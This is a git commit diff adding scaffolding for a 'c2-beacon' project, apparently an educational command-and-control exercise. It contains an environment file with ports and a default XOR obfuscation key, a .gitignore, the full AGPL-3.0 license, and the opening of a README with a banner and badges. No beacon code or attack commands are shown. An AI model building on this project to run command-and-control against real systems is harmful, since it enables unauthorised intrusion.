feat: simple c2 beacon complete
This commit is contained in:
parent
45ffde48e9
commit
b04907cad8
|
|
@ -0,0 +1,10 @@
|
|||
APP_NAME=c2-beacon
|
||||
ENVIRONMENT=development
|
||||
DEBUG=true
|
||||
|
||||
NGINX_HOST_PORT=47430
|
||||
BACKEND_HOST_PORT=47431
|
||||
FRONTEND_HOST_PORT=47432
|
||||
|
||||
XOR_KEY=c2-beacon-default-key-change-me
|
||||
LOG_LEVEL=INFO
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
*.egg
|
||||
|
||||
# Virtual environments
|
||||
.venv/
|
||||
venv/
|
||||
|
||||
# SQLite
|
||||
*.db
|
||||
data/
|
||||
|
||||
# IDE
|
||||
.idea/
|
||||
.vscode/
|
||||
*.swp
|
||||
*.swo
|
||||
|
||||
# Testing / Linting caches
|
||||
.pytest_cache/
|
||||
.mypy_cache/
|
||||
.ruff_cache/
|
||||
htmlcov/
|
||||
.coverage
|
||||
|
||||
# Node
|
||||
node_modules/
|
||||
frontend/dist/
|
||||
|
||||
# Environment
|
||||
.env
|
||||
.env.local
|
||||
.env.*.local
|
||||
|
||||
# Docker
|
||||
*.log
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
|
@ -0,0 +1,661 @@
|
|||
GNU AFFERO GENERAL PUBLIC LICENSE
|
||||
Version 3, 19 November 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU Affero General Public License is a free, copyleft license for
|
||||
software and other kinds of works, specifically designed to ensure
|
||||
cooperation with the community in the case of network server software.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
our General Public Licenses are intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
Developers that use our General Public Licenses protect your rights
|
||||
with two steps: (1) assert copyright on the software, and (2) offer
|
||||
you this License which gives you legal permission to copy, distribute
|
||||
and/or modify the software.
|
||||
|
||||
A secondary benefit of defending all users' freedom is that
|
||||
improvements made in alternate versions of the program, if they
|
||||
receive widespread use, become available for other developers to
|
||||
incorporate. Many developers of free software are heartened and
|
||||
encouraged by the resulting cooperation. However, in the case of
|
||||
software used on network servers, this result may fail to come about.
|
||||
The GNU General Public License permits making a modified version and
|
||||
letting the public access it on a server without ever releasing its
|
||||
source code to the public.
|
||||
|
||||
The GNU Affero General Public License is designed specifically to
|
||||
ensure that, in such cases, the modified source code becomes available
|
||||
to the community. It requires the operator of a network server to
|
||||
provide the source code of the modified version running there to the
|
||||
users of that server. Therefore, public use of a modified version, on
|
||||
a publicly accessible server, gives the public access to the source
|
||||
code of the modified version.
|
||||
|
||||
An older license, called the Affero General Public License and
|
||||
published by Affero, was designed to accomplish similar goals. This is
|
||||
a different license, not a version of the Affero GPL, but Affero has
|
||||
released a new version of the Affero GPL which permits relicensing under
|
||||
this license.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU Affero General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Remote Network Interaction; Use with the GNU General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, if you modify the
|
||||
Program, your modified version must prominently offer all users
|
||||
interacting with it remotely through a computer network (if your version
|
||||
supports such interaction) an opportunity to receive the Corresponding
|
||||
Source of your version by providing access to the Corresponding Source
|
||||
from a network server at no charge, through some standard or customary
|
||||
means of facilitating copying of software. This Corresponding Source
|
||||
shall include the Corresponding Source for any work covered by version 3
|
||||
of the GNU General Public License that is incorporated pursuant to the
|
||||
following paragraph.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the work with which it is combined will remain governed by version
|
||||
3 of the GNU General Public License.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU Affero General Public License from time to time. Such new versions
|
||||
will be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU Affero General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU Affero General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU Affero General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as published
|
||||
by the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If your software can interact with users remotely through a computer
|
||||
network, you should also make sure that it provides a way for users to
|
||||
get its source. For example, if your program is a web application, its
|
||||
interface could display a "Source" link that leads users to an archive
|
||||
of the code. There are many ways you could offer source, and different
|
||||
solutions will be better for different programs; see section 13 for the
|
||||
specific requirements.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU AGPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
```ruby
|
||||
██████╗██████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
|
||||
██╔════╝╚════██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗████╗ ██║
|
||||
██║ █████╔╝ ██████╔╝█████╗ ███████║██║ ██║ ██║██╔██╗ ██║
|
||||
██║ ██╔═══╝ ██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██║██║╚██╗██║
|
||||
╚██████╗███████╗ ██████╔╝███████╗██║ ██║╚██████╗╚██████╔╝██║ ╚████║
|
||||
╚═════╝╚══════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝
|
||||
```
|
||||
|
||||
[](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/c2-beacon)
|
||||
[](https://www.python.org)
|
||||
[](https://react.dev)
|
||||
[](https://www.gnu.org/licenses/agpl-3.0)
|
||||
[](https://www.docker.com)
|
||||
[](https://attack.mitre.org/)
|
||||
|
||||
